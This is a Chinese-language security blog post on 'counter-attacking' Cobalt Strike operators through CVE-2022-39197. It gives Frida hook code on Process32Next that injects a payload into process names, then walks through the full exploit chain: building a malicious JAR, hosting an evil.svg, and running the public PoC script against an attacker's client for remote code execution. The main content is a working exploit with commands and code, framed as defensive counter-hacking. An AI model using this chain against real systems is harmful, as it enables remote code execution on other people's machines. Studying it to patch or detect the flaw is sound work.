Cobalt Strike的各类反向上线操作

声明：本文仅限于技术讨论与分享，严禁用于非法途径。若读者因此作出任何危害网络安全行为后果自负，与本号及原作者无关。

前言

Cobalt Strike 使用 GUI 框架 SWING（一种java GUI的库）开发，攻击者可通过CS木马在 beacon 元数据中注入恶意 HTML 标签，使得Cobalt Strike对其进行解析并且加载恶意代码（类似XSS攻击），从而在目标系统上执行任意代码。

实现原理

攻击者需要通过CS木马在 beacon 元数据中注入恶意payload，恰好Frida 可以用于钩入和修改各种函数，包括 Windows API 函数，这里反制主要通过使用Frida框架钩入Windows API函数，从而对beacon 元数据中注入恶意代码，以下是一些你可以通过 Frida 钩入的 Windows API 函数的示例

Kernel32.dll:
CreateFileW
ReadFile
WriteFile
FindFirstFileW
CreateProcessW
GetProcAddress
LoadLibraryW
VirtualAlloc
VirtualProtect
Advapi32.dll:
RegOpenKeyExW
RegQueryValueExW
RegSetValueExW
GetUserNameA
User32.dll:
MessageBoxW
SetWindowTextW
GetWindowTextW
Gdi32.dll:
TextOutW
CreateFontIndirectW
Shell32.dll:
ShellExecuteW
Ws2_32.dll:
send
recv

在 Frida 中，你可以使用 **Interceptor.attach **方法来附加到这些函数并添加你自己的处理逻辑。这样，你就可以在这些函数被调用时执行自定义代码，此时也意味着你可以对 beacon 元数据中注入自定义代码了。

例如**Kernel32.dll:**中的Process32Next

函数内整体逻辑拆开来分析下

处理函数进入 onEnter

onEnter: function(args) {
    this.pPROCESSENTRY32 = args[1];
    if(Process.arch == "ia32"){
        this.exeOffset = 36;
    }else{
        this.exeOffset = 44;
    }
    this.szExeFile = this.pPROCESSENTRY32.add(this.exeOffset);
},

在函数进入时，保存 Process32Next 函数的参数，并计算 szExeFile 的地址。szExeFile 是一个指向进程信息结构体的字段，其中包含进程的可执行文件名

处理函数离开 onLeave

onLeave: function(retval) {
    if(this.szExeFile.readAnsiString() == "target") {
        send("[!] Found beacon, injecting payload");
        this.szExeFile.writeAnsiString(payload);
    }
}

在函数离开时，检查 szExeFile 中的进程可执行文件名是否等于字符串 "target"。如果相匹配，将指定的 payload 写入进程的可执行文件名里，使得Cobalt Strike对其进行解析并且加载payload

简单来说就是注入Windows API修改tasklist返回的进程名，将进程名改写成攻击payload，当攻击者点击beacon执行列出进程时，只要他浏览到带有payload的进程名，就会执行反制RCE

反制复现

环境准备：

	红队	蓝队
IP	192.168.108.200	192.168.108.133
版本	Cobalt Strike 4.0	Cobalt Strike 4.9

注：受到反制影响的Cobalt Strike版本< 4.7.1（全局禁止html渲染的Cobalt Strike不受印影响）

开源POC和EXP：https://github.com/its-arun/CVE-2022-39197

1、编辑恶意文件内容

修改Exploit.java，更改exec内代码参数为要执行的命令，我这里为了直观展示则执行powershell一句话上线CS

2、编译文件

使用IDEA+maven进行编译，编译完成后会在target目录下生成EvilJar-1.0-jar-with-dependencies.jar文件，具体如下

3、将生成的恶意jar文件和svg文件放在同一路径下

将红队发送的木马样本放在与cve-2022-39197.py脚本同一路径下

4、蓝队在serve路径下开启一个web服务

5、编辑evil.svg文件，替换为当前路径启用的恶意jar的web地址

6、执行POC脚本

python3 cve-2022-39197.py artifact.exe http://192.168.108.248:9999/evil.svg

运行后，红队的cs客户端上可以看到此时木马已经成功上线

当红队尝试获取用户会话的进程列表，当滚动进程列表进行查看当前会话所在进程名时即触发（若未触发可能需要手动点击或触发存在延迟），请求蓝队web服务上的evil.svg文件，而evil.svg文件又继续加载请求恶意文件EvilJar-1.0-jar-with-dependencies.jar

成功上线蓝队CS，从而达到反制RCE

思考

除了以上Kernel32.dll:中的Process32Next函数的反制思路，其实还有很多其他的反制思路，正如Windows API 函数之多。我们还可以尝试Kernel32.dll:中的FindFirstFileW函数（根据文件名查找文件的函数），大概情况就是注入Windows API 修改返回的文件名，将文件名改写成攻击payload，当攻击者点击beacon执行列出文件时，只要他浏览到带有payload的文件名，就会执行反制RCE，以下就直接展示上线的效果（复现步骤和上面一样）